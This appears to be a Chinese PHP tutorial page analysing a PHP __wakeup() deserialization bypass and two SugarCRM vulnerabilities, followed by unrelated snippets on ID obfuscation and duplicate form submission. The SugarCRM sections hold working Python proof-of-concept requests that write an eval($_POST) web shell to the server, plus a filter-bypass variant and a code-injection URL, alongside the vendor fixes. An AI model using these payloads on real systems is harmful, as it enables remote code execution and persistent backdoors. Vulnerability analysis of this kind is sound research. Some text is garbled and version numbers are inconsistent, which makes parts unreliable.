php __wakeup()函数漏洞以及实际漏洞分析

 更新时间:2016年11月25日 15:20  点击:1587
php __wakeup()函数我们经常会有用到了,但你知道php __wakeup()函数的漏洞吗,今天我们来看一篇关于php __wakeup()函数漏洞以及实际漏洞分析吧.

__wakeup()函数用法

__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。

<?php
class A{
 function __wakeup(){
  echo 'Hello';
 }   
}
$c = new A();
$d=unserialize('O:1:"A":0:{}');
?>
最后页面输出了Hello。在反序列化的时候存在__wakeup()函数,所以最后就会输出Hello

__wakeup()函数漏洞说明

<?php 
class Student{ 
    public $full_name = 'zhangsan';
    public $score = 150;
    public $grades = array();

    function __wakeup() {
        echo "__wakeup is invoked";
    }
}

$s = new Student();
var_dump(serialize($s));
?>

最后页面上输出的就是Student对象的一个序列化输出,

O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}。其中在Stuedent类后面有一个数字3,整个3表示的就是Student类存在3个属性。
__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
当我们将上述的序列化的字符串中的对象属性修改为5,变为
O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}。
最后执行运行的代码如下:

class Student{ 
    public $full_name = 'zhangsan';
    public $score = 150;
    public $grades = array();

    function __wakeup() {
        echo "__wakeup is invoked";
    }   
 function __destruct() {
        var_dump($this);
    }
}

$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');
可以看到这样就成功地绕过了__wakeup()函数。

案例

SugarCms存在一个很经典的__wakup()函数绕过的漏洞,网上也有分析文章。但是我发现网上的文章都是针对于6.5.23版本的,我后来有研究了6.5.22的版本。从这个版本的迭代中,可以看到程序员的防御思维,很值得我们研究和学习。由于在分析的过程中会按照代码审计的思路,会对其中重要的函数都会进行跟踪,所以整个分析看起来会比较的复杂和??拢??庹?霾街瓒际腔乖?舜?肷蠹浦械牟街琛?br /> 我们先从6.5.22版本开始分析。

找到反序列化语句

在service/core/REST/SugarRestSerialize.php中的SugarRestSerialize类中的server()方法代码如下:

function serve(){
 $GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
 $data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
 if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
  $er = new SoapError();
  $er->set_error('invalid_call');
  $this->fault($er);
 }else{
  $method = $_REQUEST['method'];
  $data = unserialize(from_html($data));
  if(!is_array($data))$data = array($data);
  $GLOBALS['log']->info('End: SugarRestSerialize->serve');
  return call_user_func_array(array( $this->implementation, $method),$data);
 } // else
} // fn
其中存在$data = unserialize(from_html($data))这样的序列化语句,而且$data是由$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: ''得到的,是我们可控的。那么就说明我们是可以控制反序列化的内容的。

寻找利用点

在找到了序列化语句之后,我们需要找到在哪些对象中可以利用这个反序列化语句。
在include/SugarCache/SugarCacheFile.php中的存在SugarCacheFile类以及__destruct()方法和__wakeup()方法。


public function __destruct()
{
    parent::__destruct();

    if ( $this->_cacheChanged )
        sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
}

/**
 * This is needed to prevent unserialize vulnerability
 */
public function __wakeup()
{
    // clean all properties
    foreach(get_object_vars($this) as $k => $v) {
        $this->$k = null;
    }
    throw new Exception("Not a serializable object");
}

我们发现,__wakeup()会将传入的对象的所有属性全部清空,__destruct()则主要调用sugar_file_put_contents()函数将serialize($this->_localStore)写入文件。
跟进sugar_file_put_contents(),在include/utils/sugar_file_utils.php中,


function sugar_file_put_contents($filename, $data, $flags=null, $context=null){
 //check to see if the file exists, if not then use touch to create it.
 if(!file_exists($filename)){
  sugar_touch($filename);
 }

 if ( !is_writable($filename) ) {
     $GLOBALS['log']->error("File $filename cannot be written to");
     return false;
 }

 if(empty($flags)) {
  return file_put_contents($filename, $data);
 } elseif(empty($context)) {
  return file_put_contents($filename, $data, $flags);
 } else{
  return file_put_contents($filename, $data, $flags, $context);
 }
}
我们发现sugar_file_put_contents()函数并没有对文件进行限制,而SugarCacheFile类调用的__destruct中,$data的值就是serialize($this->_localStore)。所以我们只需要出入一个SugarCacheFile类的对象并设置其属性,这样我们就可以写入一个文件或者是一句话木马。
但是由于在SugarCacheFile中存在__wakeup()函数会将对象的所有属性全部清空,所以我们必须要绕过这个函数,那么就需要利用__wakeup()的漏洞了。

利用

通过上面的分析,我们可以总结出我们的数据整个的传输流程:

$_REQUEST['rest_data']->unserialize(from_html($data))-> __destruct()->sugar_file_put_contents->一句话木马
在确定了数据传输流程之后,就需要找到一个这样的环境或者是文件。这个文件调用了SugarRestSerialize.php的serve()方法,并且include文件SugarCacheFile.php文件。
一下就是简要的分析过程。
在service/v4/rest.php


chdir('../..');
require_once('SugarWebServiceImplv4.php');
$webservice_class = 'SugarRestService';
$webservice_path = 'service/core/SugarRestService.php';
$webservice_impl_class = 'SugarWebServiceImplv4';
$registry_class = 'registry';
$location = '/service/v4/rest.php';
$registry_path = 'service/v4/registry.php';
require_once('service/core/webservice.php');
我们发现$webservice_class定义为SugarRestService。
跟踪其中的service/core/webservice.php


ob_start();
chdir(dirname(__FILE__).'/../../');
require('include/entryPoint.php');
require_once('soap/SoapError.php');
require_once('SoapHelperWebService.php');
require_once('SugarRestUtils.php');
require_once($webservice_path);
require_once($registry_path);
if(isset($webservice_impl_class_path))
    require_once($webservice_impl_class_path);
$url = $GLOBALS['sugar_config']['site_url'].$location;
$service = new $webservice_class($url);
$service->registerClass($registry_class);
$service->register();
$service->registerImplClass($webservice_impl_class);

// set the service object in the global scope so that any error, if happens, can be set on this object
global $service_object;
$service_object = $service;

$service->serve();
其中的关键代码部分是:


$service = new $webservice_class($url);

其中的$webservice_class就是在service/v4/rest.php中定义的,为SugarRestService。
跟踪service/core/SugarRestService.php,发现
在57行的_getTypeName()函数中有

protected function _getTypeName($name)
{
 if(empty($name)) return 'SugarRest';

 $name = clean_string($name, 'ALPHANUM');
 $type = '';
 switch(strtolower($name)) {
  case 'json':
   $type = 'JSON';
   break;
  case 'rss':
   $type = 'RSS';
   break;
  case 'serialize':
   $type = 'Serialize';
   break;
 }
 $classname = "SugarRest$type";
 if(!file_exists('service/core/REST/' . $classname . '.php')) {
  return 'SugarRest';
 }
 return $classname;
}
function __construct($url){
 $GLOBALS['log']->info('Begin: SugarRestService->__construct');
 $this->restURL = $url;

 $this->responseClass = $this->_getTypeName(@$_REQUEST['response_type']);
 $this->serverClass = $this->_getTypeName(@$_REQUEST['input_type']);
 $GLOBALS['log']->info('SugarRestService->__construct serverclass = ' . $this->serverClass);
 require_once('service/core/REST/'. $this->serverClass . '.php');
 $GLOBALS['log']->info('End: SugarRestService->__construct');
} // ctor
当传入的参数为Serialize,最后就会返回SugarRestSerialize字符串,最后就会在构造函数中构造出SugarRestSerialize类。
在86行的构造函数serve()中有

function serve(){
 $GLOBALS['log']->info('Begin: SugarRestService->serve');
 require_once('service/core/REST/'. $this->responseClass . '.php');
 $response  = $this->responseClass;

 $responseServer = new $response($this->implementation);
 $this->server->faultServer = $responseServer;
 $responseServer->faultServer = $responseServer;
 $responseServer->generateResponse($this->server->serve());
 $GLOBALS['log']->info('End: SugarRestService->serve');
} // fn
在serve()函数中就会执行在__construct构造出来的SugarRestSerialize类了。
最后我们就要正在在webservice.php中引用了SugarCacheFile.php文件。
在webservice.php使用get_included_files()函数来进行得到所引用的所有的文件,最后发现引入了SugarCache.php,而SugarCache.php引入了SugarCacheFile.php,那么最后就相当于webservice.php引入了SugarCacheFile.php。
分析到这里,那么webservice.php就满足了上面所说的

这个文件调用了SugarRestSerialize.php的serve()方法,并且include文件SugarCacheFile.php文件。

那个要求了。

其中最关键的地方就是序列话语句的构造。
我们在本地运行如下的代码:

<?php

class SugarCacheFile
{
    protected $_cacheFileName = '../custom/1.php';

    protected $_localStore = array("<?php eval(\$_POST['bdw']);?>");

    protected $_cacheChanged = true;
}
$scf = new SugarCacheFile();
var_dump(serialize($scf));
?>
最后页面输出的结果是


O:14:"SugarCacheFile":3:{s:17:"�*�_cacheFileName";s:15:"../custom/1.php";s:14:"�*�_localStore";a:1:{i:0;s:28:"<?php eval($_POST['bdw']);?>";}s:16:"�*�_cacheChanged";b:1;}
为什么使用var_dump的时候会出现无法显示的字符?这个字符就是\x0,即在php中的chr(0)字符。这个字符在页面上是无法显示的。出现这个字符的原因是和PHP的序列化的实现机制有关,这次就不做说明了。所以实际上的,序列化之后的结果应该是:

1
O:14:"SugarCacheFile":3:{s:17:"\x0*\x0_cacheFileName";s:15:"../custom/1.php";s:14:"\x0*\x0_localStore";a:1:{i:0;s:26:"<?php eval($_POST['1']);?>";}s:16:"\x0*\x0_cacheChanged";b:1;}
其中的\x0并不是\x、x、0三个字符,而是chr(0)一个字符。
得到序列化需要的字符串之后,那需要进行提交最后的PoC。
Poc Demo如下:

import requests

url = "http://localhost/sugar/service/v4/rest.php"
data = {
    'method':'login',
    'input_type':'Serialize',
    'rest_data':'O:14:"SugarCacheFile":4:{S:17:"\\00*\\00_cacheFileName";S:15:"../custom/1.php";S:14:"\\00*\\00_localStore";a:1:{i:0;S:26:"<?php eval($_POST[\'1\']);?>";}S:16:"\\00*\\00_cacheChanged";b:1;}'
}

requests.post(url,data=data)
在上述的payload中有几点需要注意的问题,首先要修改掉序列化中的属性值来绕过__wakeup()函数,其次在Python中,chr(0)的表示方法是\\00。
最后就会在custom目录下得到1.php,木马的内容就是a:1:{i:0;s:26:"<?php eval($_POST['1']);?>";}

最后使用中国菜刀就可以顺利连上木马。

自此漏洞就基本分析完毕。

5.6.23版本

在22版本中,serve()方法是直接使用的unserialize()方法来进行的序列化,$data = unserialize(from_html($data))。
在24中的代码为:

function serve(){
 $GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
 $data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
 if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
  $er = new SoapError();
  $er->set_error('invalid_call');
  $this->fault($er);
 }else{
  $method = $_REQUEST['method'];
  $data = sugar_unserialize(from_html($data));
  if(!is_array($data))$data = array($data);
  $GLOBALS['log']->info('End: SugarRestSerialize->serve');
  return call_user_func_array(array( $this->implementation, $method),$data);
 } // else
} // fn

其中将$data = unserialize(from_html($data))变为了$data = sugar_unserialize(from_html($data));。
跟踪sugar_unserialize()方法,
在include/utils.php类有sugar_unserialize方法,


function sugar_unserialize($value)
{
    preg_match('/[oc]:\d+:/i', $value, $matches);

    if (count($matches)) {
        return false;
    }

    return unserialize($value);
}
可以看对序列化的字符串进行了过滤,其实主要过滤的就是禁止Object类型被反序列化。虽然这样看起是没有问题的,但是由于PHP的一个BUG,导致仍然可以被绕过。只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。关于这个BUG的具体分析,可以参见php反序列unserialize的一个小特性。
最后的PoC就是

import requests

url = "http://localhost/sugar/service/v4/rest.php"
data = {
    'method':'login',
    'input_type':'Serialize',
    'rest_data':'O:+14:"SugarCacheFile":4:{S:17:"\\00*\\00_cacheFileName";S:15:"../custom/1.php";S:14:"\\00*\\00_localStore";a:1:{i:0;S:26:"<?php eval($_POST[\'1\']);?>";}S:16:"\\00*\\00_cacheChanged";b:1;}'
}

requests.post(url,data=data)
修复

这个漏洞是知道5.6.24版本才进行修复的,修复的方式也是十分的简单。
在这个版本中,上述的PoC已经不能够使用了。以下是修复代码。
在include/utils.php类有sugar_unserialize方法,

function sugar_unserialize($value)
{
    preg_match('/[oc]:[^:]*\d+:/i', $value, $matches);

    if (count($matches)) {
        return false;
    }

    return unserialize($value);
}
可以看到,正则表达式已经变为/[oc]:[^:]*\d+:/i,那么通过+好来进行绕过的方式已经不适用了,这样就修复了这个漏洞了。

总结

在我本地执行的,其中有一个非常关键的地方在于,需要将payload中的序列化字符串中的s改为S,否则同样无法执行成功。当然我也和别人讨论一下,有的人大小写都可以,有的人一定要用大写。
可以看到最后的方法就是使用正则表达式/[oc]:[^:]*\d+:/i来禁止反序列化Object对象,但是序列化本质的作用就是传输对象数据,如果是其他的数据其实就使用传输了,所以不知道在SugarCRM中禁止传输Object对象却允许传输其他类型的数据有何意义?
最后还要感谢Bendwang的指点,解答了我的很多问题。

sugarcrm将各个行业领先的管理经验与CRM相结合,帮助企业实现管理自动化,从而提高管理水平,优化运营效率,下面我们来看关于深入分析sugarcrm php代码注入例子吧.

这篇文章准备通过通过请求语句来看传入的数据在代码中流向,这样或许更方便来理解这个漏洞

http://[host]/[sugar]/index.php?module=Connectors&action=RunTest&source_id=ext_rest_insideview&ext_rest_insideview_[%27.phpinfo().%27]=1

最后的效果就是程序会执行phpinfo()函数。


流程分析

入口函数action_RunTest()

当访问POC时,程序会进入到modules/Connectors/controller.php中的action_RunTest()函数中。

其中的source_id就是PoC中传入的ext_rest_insideview,至于为什么会传入这个,之后的分析会讲到。

SourceFactory::getSource()

跟踪SourceFactory::getSource()函数,进入include/connectors/sources/SourceFactory.php

发现在其中调用了ConnectorFactory::load()方法,其中的$class就是传入的ext_rest_insideview

load()

跟踪ConnectorFactory::load()函数,进入include/connectors/ConnectorFactory.php。发现load()函数又调用loadClass()函数。

在loadClass()函数中,会尝试导入一个文件,导入的格式就是.../connectors/{$type}/{$dir}/$file。其中$type是传入的sources,$dir是将$class(在本PoC中为ext_rest_insideview)字符串中的_替换为/的一个路径,所以最后$dir的值为ext/rest/insideview,这个在图片上也有显示,$file就是路径的最后一个值insideview.php。最后程序就会尝试去寻找对应的文件,如果没有找到就会报错。

所以Poc中的source_id=ext_rest_insideview并不能随便写为任意值。假若写为source_id=a_b_c,那么在执行loadClass()的时候无法找到文件导致程序无法往下执行,那么payload就无用了。

setsetProperties()

在对loadClass()分析完毕之后,最后回到入口函数action_RunTest()。
程序往下执行进入到setProperties()方法中。

其中的foreach()就会对传入值赋值到$properties中,最后得到的$properties的值如左边的图所示,即为
[''][''.phpinfo().''] = '1';。
跟踪setProperties(),进入include/connectors/sources/default/source.php,setProperties()代码如下:


public function setProperties($properties=array())
{
    if(!empty($this->_config) && isset($this->_config['properties'])) {
       $this->_config['properties'] = $properties;
       $this->config_decrypted = true; // Don't decrypt external configs
    }
}

那么最后,得到在config中得到就是:

$config['properties'][''][''.phpinfo().''] = '1';
saveConfig()

对setProperties()分析完毕之后,回到入口函数action_RunTest()。
程序继续往下执行,进入到saveConfig()中。

其中关键的地方就在于将变量$this_config中的键值对,调用override_value_to_string_recursive2()函数变为一个字符串。

override_value_to_string_recursive2()

跟踪override_value_to_string_recursive2(),进入到include/utils/array_utils.php中。

function override_value_to_string_recursive2($array_name, $value_name, $value, $save_empty = true) {
 if (is_array($value)) {
  $str = '';
  $newArrayName = $array_name . "['$value_name']";
  foreach($value as $key=>$val) {
   $str.= override_value_to_string_recursive2($newArrayName, $key, $val, $save_empty);
  }
  return $str;
 } else {
  if(!$save_empty && empty($value)){
   return;
  }else{
   return "\$$array_name" . "['$value_name'] = " . var_export($value, true) . ";\n";
  }
 }
}

可以看到这就是一个普通的将一个数组类型的变量转化为一个字符串,最后$this_conifg变为:

<?php
/***CONNECTOR SOURCE***/
$config['name'] = 'InsideView&#169;';
$config['order'] = 65;
$config['properties'][''][''.phpinfo().''] = '1';
这个赋值给变量$config_str

PoC执行

回到saveConfig()函数中,程序最后执行


file_put_contents("custom/modules/Connectors/connectors/sources/{$dir}/config.php", $config_str);
其中的$dir为ext/rest/insideview,那么最后程序就会在custom/modules/Connectors/connectors/sources/ext/rest/insideview/config.php写入$config_str的值,最后就会触发其中的phpinfo()函数,导致代码执行。
最后在config.php中写入的代码是:

<?php
$config = array (
  'name' => 'InsideView&#169;',
  'order' => 65,
  'properties' => array (
      ),
);
自此漏洞就分析完毕了

修复

修复方法很简单,在override_value_to_string_recursive2()函数中进行修复


function override_value_to_string_recursive2($array_name, $value_name, $value, $save_empty = true) {
    $quoted_vname = var_export($value_name, true);
 if (is_array($value)) {
  $str = '';
        $newArrayName = $array_name . "[$quoted_vname]";
  foreach($value as $key=>$val) {
   $str.= override_value_to_string_recursive2($newArrayName, $key, $val, $save_empty);
  }
  return $str;
 } else {
  if(!$save_empty && empty($value)){
   return;
  }else{
            return "\$$array_name" . "[$quoted_vname] = " . var_export($value, true) . ";\n";
  }
 }
}

修复的代码就是使用了var_export()函数对$value_name变量进行了字符串的表示。这样写之后,最终得到$config_str的值是


<?php
/***CONNECTOR SOURCE***/
$config['name'] = 'InsideView&#169;';
$config['order'] = 65;
$config['properties']['']['\'.phpinfo().\''] = '1';
上面的代码就可以正常地写入到文件中,不会触发代码执行了。

总结

通过分步调试的方法,能够对这个漏洞理解得更加的透彻,通过这个漏洞也增加了自己调试漏洞的能力。

加密解密程序我们以前介绍过了今天给各位介绍一段加php数字加密解密的函数了,希望这篇文章能够对各位有帮助

<?php
/**
 * Created by PhpStorm.
 * User: Administrator
 * Date: 2016/11/1
 * Time: 12:26
 */
/*把数字转换成字符对应解析
 * @param mixed   $in    String or long input to translate
 * @param boolean $to_num  Reverses translation when true
 * @param mixed   $pad_up  Number or boolean padds the result up to a specified length
 * @param string  $passKey Supplying a password makes it harder to calculate the original ID
 */
function alphaID($in, $to_num = false, $pad_up = false, $passKey = null)
{
    $index = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    if ($passKey !== null) {
        // Although this function's purpose is to just make the
        // ID short - and not so much secure,
        // with this patch by Simon Franz (http://blog.snaky.org/)
        // you can optionally supply a password to make it harder
        // to calculate the corresponding numeric ID

        for ($n = 0; $n<strlen($index); $n++) {
            $i[] = substr( $index,$n ,1);
        }

        $passhash = hash('sha256',$passKey);
        $passhash = (strlen($passhash) < strlen($index))
            ? hash('sha512',$passKey)
            : $passhash;

        for ($n=0; $n < strlen($index); $n++) {
            $p[] =  substr($passhash, $n ,1);
        }

        array_multisort($p,  SORT_DESC, $i);
        $index = implode($i);
    }

    $base  = strlen($index);

    if ($to_num) {
        // Digital number  <<--  alphabet letter code
        $in  = strrev($in);
        $out = 0;
        $len = strlen($in) - 1;
        for ($t = 0; $t <= $len; $t++) {
            $bcpow = bcpow($base, $len - $t);
            $out   = $out + strpos($index, substr($in, $t, 1)) * $bcpow;
        }

        if (is_numeric($pad_up)) {
            $pad_up--;
            if ($pad_up > 0) {
                $out -= pow($base, $pad_up);
            }
        }
        $out = sprintf('%F', $out);
        $out = substr($out, 0, strpos($out, '.'));
    } else {
        // Digital number  -->>  alphabet letter code
        if (is_numeric($pad_up)) {
            $pad_up--;
            if ($pad_up > 0) {
                $in += pow($base, $pad_up);
            }
        }

        $out = "";
        for ($t = floor(log($in, $base)); $t >= 0; $t--) {
            $bcp = bcpow($base, $t);
            $a   = floor($in / $bcp) % $base;
            $out = $out . substr($index, $a, 1);
            $in  = $in - ($a * $bcp);
        }
        $out = strrev($out); // reverse
    }

    return $out;
}
$str =  alphaID("1245");
echo $str."<br/>";
echo  alphaID($str,true);

重复提交我们在php中的防止方法许多最常用的就是数据库限制了,当然也有可以直接在客户端进行限制了,具体的来看php重复提交防止示例会有哪些吧。

下面的情况就会导致表单重复提交:

点击提交按钮两次。

点击刷新按钮。

使用浏览器后退按钮重复之前的操作,导致重复提交表单。

使用浏览器历史记录重复提交表单。

浏览器重复的HTTP请求。

网页被恶意刷新。

下面是几种解决办法:

一:利用js设置按钮点击后变成灰色

<form name=form1 method=”POST” action=”/” target=_blank>

<p>

<input type=”text” name=”T1″ size=”20″>

<input type=”button” value=”提交” onclick=”javascript:{this.disabled=true;document.form1.submit();}”>

</p>

</form>

点击完按钮之后变成灰色就不能点击了,用户需要再次提交表单的话就要刷新页面之后重新填写数据再提交了。

二:利用session

在session中���放一个特殊标志。当表单页面被请求时,生成一个特殊的字符标志串,存在session中,同时放在表单的隐藏域里。接受处理表单数据时,检查标识字串是否存在,并立即从session中删除它,然后正常处理数据。

如果发现表单提交里没有有效的标志串,这说明表单已经被提交过了,忽略这次提交。

这使你的web应用有了更高级的XSRF保护

加载提交的页面时候,生成一个随机数,

$code = mt_rand(0,1000000);

存储在表单的隐藏输入框中:

< input type=”hidden” name=”code” value=””>

在接收页面的PHP代码如下:

<?php

session_start();

if(isset($_POST[‘code’])) {

if($_POST[‘code’] == $_SESSION[‘code’]){

// 重复提交表单了

}else{

$_SESSION[‘code’] =$_POST[‘code’]; //存储code

}

}?>

三:利用cookies

原理和session差不多,但是cookies一旦用户浏览器禁用cookies,这功能就失效了

if(isset($_POST[‘submit’])){

setcookie(“tempcookie”,””,time()+30);

header(“Location:”.$_SERVER[PHP_SELF]);exit();

}

if(isset($_COOKIE[“tempcookie”])){

setcookie(“tempcookie”,””,0);echo “您已经提交过表单”;

}

四:利用header函数跳转

一旦用户点击提交按钮,处理完数据后跳到其他页面

if (isset($_POST[‘submit’])) {

header(‘location:success.php’);//处理数据后,转向到其他页面

}

五:利用数据库来添加约束

直接在数据库里添加唯一约束或创建唯一索引,一旦发现用户重复提交了,直接抛出警告或者提示,或者只处理第一次提交的数据,这是最直接有效的方法,要求前期的数据库设计和架构要考虑周全.

六:Post/Redirect/Get模式。

在提交后执行页面重定向,这就是所谓的Post-Redirect-Get (PRG)模式。简言之,当用户提交了表单后,你去执行一个客户端的重定向,转到提交成功信息页面。

if (isset($_POST[‘action’]) && $_POST[‘action’] == ‘submitted’) {

//处理数据,如插入数据后,立即转向到其他页面

header(‘location:submits_success.php’);

}

这能避免用户按F5导致的重复提交,而其也不会出现浏览器表单重复提交的警告,也能消除按浏览器前进和后退按导致的同样问题。

[!--infotagslink--]

相关文章

  • php正确禁用eval函数与误区介绍

    eval函数在php中是一个函数并不是系统组件函数,我们在php.ini中的disable_functions是无法禁止它的,因这他不是一个php_function哦。 eval()针对php安全来说具有很...2016-11-25
  • php中eval()函数操作数组的方法

    在php中eval是一个函数并且不能直接禁用了,但eval函数又相当的危险了经常会出现一些问题了,今天我们就一起来看看eval函数对数组的操作 例子, <?php $data="array...2016-11-25
  • Python astype(np.float)函数使用方法解析

    这篇文章主要介绍了Python astype(np.float)函数使用方法解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-06-08
  • Python中的imread()函数用法说明

    这篇文章主要介绍了Python中的imread()函数用法说明,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-03-16
  • C# 中如何取绝对值函数

    本文主要介绍了C# 中取绝对值的函数。具有很好的参考价值。下面跟着小编一起来看下吧...2020-06-25
  • C#学习笔记- 随机函数Random()的用法详解

    下面小编就为大家带来一篇C#学习笔记- 随机函数Random()的用法详解。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧...2020-06-25
  • php中Multipart/form-data漏洞补丁修复

    Multipart/form-data是文件上传或数据提交时会用到了,在php中Multipart/form-data是有安全bug的,下面我们来看看如何修复Multipart/form-data的bug吧. 今天在乌云...2016-11-25
  • 金额阿拉伯数字转换为中文的自定义函数

    CREATE FUNCTION ChangeBigSmall (@ChangeMoney money) RETURNS VarChar(100) AS BEGIN Declare @String1 char(20) Declare @String2 char...2016-11-25
  • Android开发中findViewById()函数用法与简化

    findViewById方法在android开发中是获取页面控件的值了,有没有发现我们一个页面控件多了会反复研究写findViewById呢,下面我们一起来看它的简化方法。 Android中Fin...2016-09-20
  • C++中 Sort函数详细解析

    这篇文章主要介绍了C++中Sort函数详细解析,sort函数是algorithm库下的一个函数,sort函数是不稳定的,即大小相同的元素在排序后相对顺序可能发生改变...2022-08-18
  • PHP用strstr()函数阻止垃圾评论(通过判断a标记)

    strstr() 函数搜索一个字符串在另一个字符串中的第一次出现。该函数返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 false。语法:strstr(string,search)参数string,必需。规定被搜索的字符串。 参数sea...2013-10-04
  • PHP函数分享之curl方式取得数据、模拟登陆、POST数据

    废话不多说直接上代码复制代码 代码如下:/********************** curl 系列 ***********************///直接通过curl方式取得数据(包含POST、HEADER等)/* * $url: 如果非数组,则为http;如是数组,则为https * $header:...2014-06-07
  • php中的foreach函数的2种用法

    Foreach 函数(PHP4/PHP5)foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。...2013-09-28
  • C语言中free函数的使用详解

    free函数是释放之前某一次malloc函数申请的空间,而且只是释放空间,并不改变指针的值。下面我们就来详细探讨下...2020-04-25
  • PHP函数strip_tags的一个bug浅析

    PHP 函数 strip_tags 提供了从字符串中去除 HTML 和 PHP 标记的功能,该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。由于 strip_tags() 无法实际验证 HTML,不完整或者破损标签将导致更多的数...2014-05-31
  • SQL Server中row_number函数的常见用法示例详解

    这篇文章主要给大家介绍了关于SQL Server中row_number函数的常见用法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-12-08
  • PHP加密解密函数详解

    分享一个PHP加密解密的函数,此函数实现了对部分变量值的加密的功能。 加密代码如下: /* *功能:对字符串进行加密处理 *参数一:需要加密的内容 *参数二:密钥 */ function passport_encrypt($str,$key){ //加密函数 srand(...2015-10-30
  • MYSQL事务回滚的2个问题分析

    因此,正确的原子操作是真正被执行过的。是物理执行。在当前事务中确实能看到插入的记录。最后只不过删除了。但是AUTO_INCREMENT不会应删除而改变值。1、为什么auto_increament没有回滚?因为innodb的auto_increament的...2014-05-31
  • php的mail函数发送UTF-8编码中文邮件时标题乱码的解决办法

    最近遇到一个问题,就是在使用php的mail函数发送utf-8编码的中文邮件时标题出现乱码现象,而邮件正文却是正确的。最初以为是页面编码的问题,发现页面编码utf-8没有问题啊,找了半天原因,最后找到了问题所在。 1.使用 PEAR 的...2015-10-21
  • C#中加载dll并调用其函数的实现方法

    下面小编就为大家带来一篇C#中加载dll并调用其函数的实现方法。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧...2020-06-25